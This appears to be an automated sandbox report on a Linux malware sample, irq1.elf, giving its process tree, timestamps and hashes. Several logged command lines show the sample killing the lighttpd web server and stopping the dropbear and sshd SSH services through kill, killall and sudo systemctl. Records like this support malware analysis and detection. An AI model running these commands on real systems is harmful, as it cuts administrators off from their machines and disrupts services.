File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5555, Parent PID: 5479

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 lighttpd > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5557, Parent PID: 5555

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5557, Parent PID: 2935

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 lighttpd
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5686, Parent PID: 5479

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5688, Parent PID: 5686

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5688, Parent PID: 5686

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;( kill -9 `cat /var/run/dropbear.pid` `cat /var/run/sshd.pid` ; killall -9 sshd dropbear ; /etc/init.d/dropbear stop )>/dev/null 2>&1 & "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5690, Parent PID: 5688

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5691, Parent PID: 5690

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5691, Parent PID: 5690

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/cat
Arguments:	cat /var/run/dropbear.pid
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: sh PID: 5692, Parent PID: 5690

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5692, Parent PID: 5690

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/cat
Arguments:	cat /var/run/sshd.pid
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: sh PID: 5693, Parent PID: 5690

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5693, Parent PID: 5690

General

Start time (UTC):	16:10:07
Start date (UTC):	22/10/2024
Path:	/bin/killall
Arguments:	killall -9 sshd dropbear
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5694, Parent PID: 5479

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5696, Parent PID: 5694

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5696, Parent PID: 5694

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;(service dropbear stop ; sudo service sshd stop ; sudo systemctl stop ssh )>/dev/null 2>&1 & "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5698, Parent PID: 5696

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5699, Parent PID: 5698

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5699, Parent PID: 5698

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/sbin/service
Arguments:	service dropbear stop
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5700, Parent PID: 5699

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5700, Parent PID: 5699

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/basename
Arguments:	basename /sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5701, Parent PID: 5699

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5701, Parent PID: 5699

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/basename
Arguments:	basename /sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5702, Parent PID: 5699

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5702, Parent PID: 5699

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5703, Parent PID: 5699

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5704, Parent PID: 5703

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5704, Parent PID: 5703

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5705, Parent PID: 5703

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5705, Parent PID: 5703

General

Start time (UTC):	16:10:09
Start date (UTC):	22/10/2024
Path:	/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5699, Parent PID: 5698

General

Start time (UTC):	16:10:12
Start date (UTC):	22/10/2024
Path:	/bin/systemctl
Arguments:	systemctl stop dropbear.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: sh PID: 5708, Parent PID: 5698

General

Start time (UTC):	16:10:12
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sudo PID: 5708, Parent PID: 5698

General

Start time (UTC):	16:10:12
Start date (UTC):	22/10/2024
Path:	/bin/sudo
Arguments:	sudo service sshd stop
File size:	166056 bytes
MD5 hash:	eb8c10001fe28b9c4c2e42b96347f6db

Chronological Activities

Analysis Process: sudo PID: 5709, Parent PID: 5708

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/bin/sudo
Arguments:	-
File size:	166056 bytes
MD5 hash:	eb8c10001fe28b9c4c2e42b96347f6db

Chronological Activities

Analysis Process: service PID: 5709, Parent PID: 5708

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	service sshd stop
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5710, Parent PID: 5709

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5710, Parent PID: 5709

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5711, Parent PID: 5709

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5711, Parent PID: 5709

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5712, Parent PID: 5709

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5712, Parent PID: 5709

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5713, Parent PID: 5709

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5714, Parent PID: 5713

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5714, Parent PID: 5713

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5715, Parent PID: 5713

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5715, Parent PID: 5713

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5709, Parent PID: 5708

General

Start time (UTC):	16:10:18
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl stop sshd.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: sudo PID: 5698, Parent PID: 2935

General

Start time (UTC):	16:10:18
Start date (UTC):	22/10/2024
Path:	/bin/sudo
Arguments:	sudo systemctl stop ssh
File size:	166056 bytes
MD5 hash:	eb8c10001fe28b9c4c2e42b96347f6db

Chronological Activities

Analysis Process: sudo PID: 5981, Parent PID: 5698

General

Start time (UTC):	16:10:19
Start date (UTC):	22/10/2024
Path:	/bin/sudo
Arguments:	-
File size:	166056 bytes
MD5 hash:	eb8c10001fe28b9c4c2e42b96347f6db

Chronological Activities

Analysis Process: systemctl PID: 5981, Parent PID: 5698

General

Start time (UTC):	16:10:19
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl stop ssh
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: irq1.elf PID: 5716, Parent PID: 5479

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5718, Parent PID: 5716

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5720, Parent PID: 5716

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5721, Parent PID: 5716

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5723, Parent PID: 5716

General

Start time (UTC):	16:10:13
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5725, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5727, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5729, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5731, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5733, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5735, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5738, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5739, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5741, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5744, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5745, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5747, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5750, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5751, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5753, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5755, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5757, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5759, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5761, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5763, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5765, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5767, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5769, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5771, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5773, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5776, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5777, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5779, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5781, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5784, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5785, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5788, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5789, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5791, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5793, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5796, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5797, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5799, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5801, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5803, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5805, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5807, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5810, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5811, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5813, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5815, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5818, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5819, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5822, Parent PID: 5716

General

Start time (UTC):	16:10:14
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5823, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5825, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5827, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5829, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
